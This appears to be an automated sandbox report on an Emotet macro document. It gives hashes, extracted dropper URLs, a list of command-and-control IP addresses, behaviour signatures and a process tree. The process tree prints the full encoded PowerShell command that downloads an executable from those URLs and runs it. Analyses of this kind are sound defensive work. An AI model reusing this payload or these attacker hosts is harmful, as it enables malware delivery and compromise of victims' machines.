Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    50s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    14/08/2020, 14:58

Sharing

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General

  • Target
    emotet_e3_c45e5cb28c8df90c27a389214bd01b0693453740719dcd21db1dacfffd937389_2020-08-14__145636._doc.doc
  • Size 230KB
  • Sample200814-385nt937bx
  • SHA256 c45e5cb28c8df90c27a389214bd01b0693453740719dcd21db1dacfffd937389
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://arsan.com.br/img_b2w/jstgflap98/
  • exe.dropper

    http://koester-pb.de/cgi-bin/HoDIPqV/
  • exe.dropper

    http://aragonmetal.com/_installation/LPMGMZroO/
  • exe.dropper

    https://www.witdigi.com/wp-content/uploads/iBeE/
  • exe.dropper

    http://yellowstonefitness.com/j5es7cx/QgLkys4ga64g228/

Extracted

Family

  • emotet

C2

  • 71.57.180.213:80

  • 185.86.148.68:443

  • 168.235.82.183:8080

  • 181.113.229.139:443

  • 181.134.9.162:80

  • 217.199.160.224:8080

  • 105.209.235.113:8080

  • 216.75.37.196:8080

  • 97.104.107.190:80

  • 203.153.216.182:7080

  • 107.161.30.122:8080

  • 41.106.96.12:80

  • 202.5.47.71:80

  • 201.235.10.215:80

  • 105.213.67.88:80

  • 115.79.195.246:80

  • 179.5.118.12:80

  • 212.112.113.235:80

  • 139.59.12.63:8080

  • 177.37.81.212:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_c45e5cb28c8df90c27a389214bd01b0693453740719dcd21db1dacfffd937389_2020-08-14__145636._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1464
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABQAGsAaAByADUAZABwAD0AJwBaAHAAawByAG0AawBxACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAYABVAGAAUgBpAGAAVABZAFAAYABSAE8AVABPAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARQA2AF8AdQBkAHAAMAAgAD0AIAAnAEMAYwBiAHAAJwA7ACQAWQBxADEAbwBsAHQAcQA9ACcASwBvADIAZgAzAHoAZAAnADsAJABCADgAOQB0ADUAcwB2AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQARQA2AF8AdQBkAHAAMAArACcALgBlAHgAZQAnADsAJABOAHYAbQAwAHIAYgB0AD0AJwBGAGQAMAA3AG8AOABxACcAOwAkAFYAZgBnAHgAZQA3ADAAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQB0AC4AdwBFAGIAQwBMAGkARQBOAFQAOwAkAFgANwA1AHgAMQBvADAAPQAnAGgAdAB0AHAAOgAvAC8AYQByAHMAYQBuAC4AYwBvAG0ALgBiAHIALwBpAG0AZwBfAGIAMgB3AC8AagBzAHQAZwBmAGwAYQBwADkAOAAvACoAaAB0AHQAcAA6AC8ALwBrAG8AZQBzAHQAZQByAC0AcABiAC4AZABlAC8AYwBnAGkALQBiAGkAbgAvAEgAbwBEAEkAUABxAFYALwAqAGgAdAB0AHAAOgAvAC8AYQByAGEAZwBvAG4AbQBlAHQAYQBsAC4AYwBvAG0ALwBfAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuAC8ATABQAE0ARwBNAFoAcgBvAE8ALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHcAaQB0AGQAaQBnAGkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AaQBCAGUARQAvACoAaAB0AHQAcAA6AC8ALwB5AGUAbABsAG8AdwBzAHQAbwBuAGUAZgBpAHQAbgBlAHMAcwAuAGMAbwBtAC8AagA1AGUAcwA3AGMAeAAvAFEAZwBMAGsAeQBzADQAZwBhADYANABnADIAMgA4AC8AJwAuACIAcwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABWADIAZgBmAHUANABmAD0AJwBRAHUAcwB3AHkAZgAxACcAOwBmAG8AcgBlAGEAYwBoACgAJABPADIAMwB6AGMAMQBiACAAaQBuACAAJABYADcANQB4ADEAbwAwACkAewB0AHIAeQB7ACQAVgBmAGcAeABlADcAMAAuACIARABPAFcAYABOAGwAbwBgAEEARABGAEkATABFACIAKAAkAE8AMgAzAHoAYwAxAGIALAAgACQAQgA4ADkAdAA1AHMAdgApADsAJABFAHkAdgB0ADEAdwAzAD0AJwBYAGwAZwBpAHYAdQByACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQgA4ADkAdAA1AHMAdgApAC4AIgBMAGAARQBOAGcAVABoACIAIAAtAGcAZQAgADIAOQA5ADkAMQApACAAewAmACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACgAJABCADgAOQB0ADUAcwB2ACkAOwAkAFMAbABiAHUAMABoADEAPQAnAEIAbQA4AHQAOQAyAGQAJwA7AGIAcgBlAGEAawA7ACQASAB6ADIAbAA5AG0AaQA9ACcARwBpAGkAeAA5ADEAYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABBAHkAMAA1AHkAZABpAD0AJwBXAGQAeQBrADYAbgBhACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1276
    • C:\Users\Admin\AppData\Local\Temp\Ccbp.exe
      "C:\Users\Admin\AppData\Local\Temp\Ccbp.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1344
      • C:\Windows\SysWOW64\pautoenr\korwbrkr.exe
        "C:\Windows\SysWOW64\pautoenr\korwbrkr.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1864

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1276-12-0x0000000002410000-0x0000000002411000-memory.dmp
        Download

        memory/1276-14-0x000000001B6D0000-0x000000001B6D1000-memory.dmp
        Download

        memory/1276-15-0x000000001C570000-0x000000001C571000-memory.dmp
        Download

        memory/1276-8-0x000007FEE9280000-0x000007FEE9C6C000-memory.dmp
        Download

        memory/1276-9-0x0000000002040000-0x0000000002041000-memory.dmp
        Download

        memory/1276-10-0x000000001AA90000-0x000000001AA91000-memory.dmp
        Download

        memory/1276-11-0x00000000023E0000-0x00000000023E1000-memory.dmp
        Download

        memory/1344-18-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1464-0-0x0000000000391000-0x0000000000395000-memory.dmp
        Download

        memory/1464-13-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1464-5-0x000000000BE10000-0x000000000BE14000-memory.dmp
        Download

        memory/1464-6-0x0000000006BF0000-0x0000000006DF0000-memory.dmp
        Download

        memory/1464-4-0x000000000AD90000-0x000000000AD94000-memory.dmp
        Download

        memory/1464-3-0x0000000006BF0000-0x0000000006DF0000-memory.dmp
        Download

        memory/1464-2-0x0000000008990000-0x0000000008994000-memory.dmp
        Download

        memory/2008-23-0x000007FEEE4F0000-0x000007FEEE76A000-memory.dmp
        Download